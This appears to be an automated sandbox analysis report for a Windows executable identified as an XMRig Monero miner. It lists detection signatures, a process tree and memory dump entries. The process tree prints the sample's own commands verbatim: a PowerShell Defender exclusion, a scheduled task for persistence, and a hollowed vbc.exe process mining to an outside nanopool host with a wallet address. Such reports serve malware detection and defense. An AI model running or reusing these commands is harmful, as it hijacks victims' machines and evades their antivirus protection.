Analysis

  • max time kernel
    141s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14/01/2023, 03:59

General

  • Target
    file.exe
  • Size 926KB
  • Sample230114-ej24wahf33
  • SHA256 e80e15eb9d2cebb2c8c7f91a8471e1b75a9b4ee27d9de6b23cc90c57704a2651
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 6 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Uses the VBS compiler for execution 1 TTPs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2220
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4328
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "NLJZH" /tr "C:\ProgramData\googleApp\NLJZH.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1496
      • C:\Windows\system32\schtasks.exe
        schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "NLJZH" /tr "C:\ProgramData\googleApp\NLJZH.exe"
        3⤵
        • Creates scheduled task(s)
        PID:1396
    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:2132

Network

        MITRE ATT&CK Enterprise v6

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        Downloads

        memory/2132-165-0x00000155273F0000-0x0000015527430000-memory.dmp

        memory/2132-168-0x0000015527430000-0x0000015527450000-memory.dmp

        memory/2132-167-0x0000015527560000-0x0000015527580000-memory.dmp

        memory/2132-166-0x0000000140000000-0x00000001407C9000-memory.dmp

        memory/2132-169-0x0000015527560000-0x0000015527580000-memory.dmp

        memory/2132-164-0x0000000140000000-0x00000001407C9000-memory.dmp

        memory/2132-163-0x00000155273A0000-0x00000155273C0000-memory.dmp

        memory/2132-162-0x0000000140000000-0x00000001407C9000-memory.dmp

        memory/2132-161-0x0000000140000000-0x00000001407C9000-memory.dmp

        memory/2132-159-0x0000000140000000-0x00000001407C9000-memory.dmp

        memory/2132-170-0x0000015527430000-0x0000015527450000-memory.dmp

        memory/2220-142-0x0000000000890000-0x00000000009E2000-memory.dmp

        memory/2220-141-0x0000000000890000-0x00000000009E2000-memory.dmp

        memory/2220-134-0x00007FFE4FAB0000-0x00007FFE4FB5A000-memory.dmp

        memory/2220-135-0x00007FFE6BE40000-0x00007FFE6BEDE000-memory.dmp

        memory/2220-151-0x0000000000890000-0x00000000009E2000-memory.dmp

        memory/2220-152-0x00007FFE4EFE0000-0x00007FFE4FAA1000-memory.dmp

        memory/2220-136-0x00007FFE67B70000-0x00007FFE67B82000-memory.dmp

        memory/2220-146-0x00007FFE6A410000-0x00007FFE6A437000-memory.dmp

        memory/2220-155-0x00007FFE4FF10000-0x00007FFE4FF45000-memory.dmp

        memory/2220-156-0x00007FFE4B170000-0x00007FFE4B272000-memory.dmp

        memory/2220-157-0x00007FFE6B7A0000-0x00007FFE6B80B000-memory.dmp

        memory/2220-158-0x00007FFE69020000-0x00007FFE6905B000-memory.dmp

        memory/2220-145-0x00007FFE4EFE0000-0x00007FFE4FAA1000-memory.dmp

        memory/2220-144-0x00000000003B0000-0x00000000003F3000-memory.dmp

        memory/2220-143-0x00007FFE4D7D0000-0x00007FFE4D91E000-memory.dmp

        memory/2220-132-0x0000000000890000-0x00000000009E2000-memory.dmp

        memory/2220-137-0x00007FFE4EF20000-0x00007FFE4EFDD000-memory.dmp

        memory/2220-140-0x00007FFE6B430000-0x00007FFE6B45B000-memory.dmp

        memory/2220-139-0x00007FFE4EFE0000-0x00007FFE4FAA1000-memory.dmp

        memory/2220-138-0x00007FFE6B910000-0x00007FFE6BAB1000-memory.dmp

        memory/4328-148-0x00000197F6500000-0x00000197F6522000-memory.dmp

        memory/4328-150-0x00007FFE4EFE0000-0x00007FFE4FAA1000-memory.dmp

        memory/4328-149-0x00007FFE4EFE0000-0x00007FFE4FAA1000-memory.dmp